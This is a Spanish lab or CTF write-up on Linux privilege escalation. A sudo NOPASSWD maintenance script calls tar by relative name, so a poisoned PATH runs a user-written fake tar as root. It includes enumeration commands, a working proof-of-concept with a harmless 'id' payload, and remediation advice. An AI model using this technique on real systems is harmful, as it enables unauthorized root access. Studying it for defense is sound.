Linux PrivEsc: sudo y PATH contaminado

Contexto

La maquina entrega una shell limitada como usuario dev. El objetivo es llegar a root documentando evidencias, no lanzar enumeradores sin leer la salida.

Enumeracion inicial

id
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null | head

sudo -l muestra una regla interesante: el usuario puede ejecutar un script de mantenimiento sin password.

(root) NOPASSWD: /opt/backup/run-backup

Lectura del binario/script

El script invoca herramientas sin ruta absoluta:

#!/bin/bash
tar -czf /tmp/backup.tgz /var/www

Si secure_path no esta configurado o el script preserva un PATH controlable, tar puede resolverse desde una carpeta escrita por el usuario.

Prueba de hipotesis

Creo un tar controlado que solo confirme ejecucion:

mkdir -p /tmp/lab-bin
printf '#!/bin/sh\nid > /tmp/proof\n' > /tmp/lab-bin/tar
chmod +x /tmp/lab-bin/tar
PATH=/tmp/lab-bin:$PATH sudo /opt/backup/run-backup
cat /tmp/proof

La prueba devuelve uid=0, asi que la ruta es explotable en el laboratorio.

Escalada

En un CTF se podria cambiar la prueba por una accion de root controlada, como copiar una shell con bit SUID o leer la flag. En un entorno profesional, se detiene la prueba cuando el impacto ya esta demostrado.

Remediacion

• Usar rutas absolutas en scripts privilegiados: /usr/bin/tar.
• Configurar Defaults secure_path=... en sudoers.
• Evitar scripts modificables por usuarios no privilegiados.
• Revisar reglas NOPASSWD con el mismo rigor que SUID.

Leccion

La escalada no estaba en sudo como tecnologia, sino en la confianza implicita del entorno de ejecucion.

- EOF -

<< back_to_index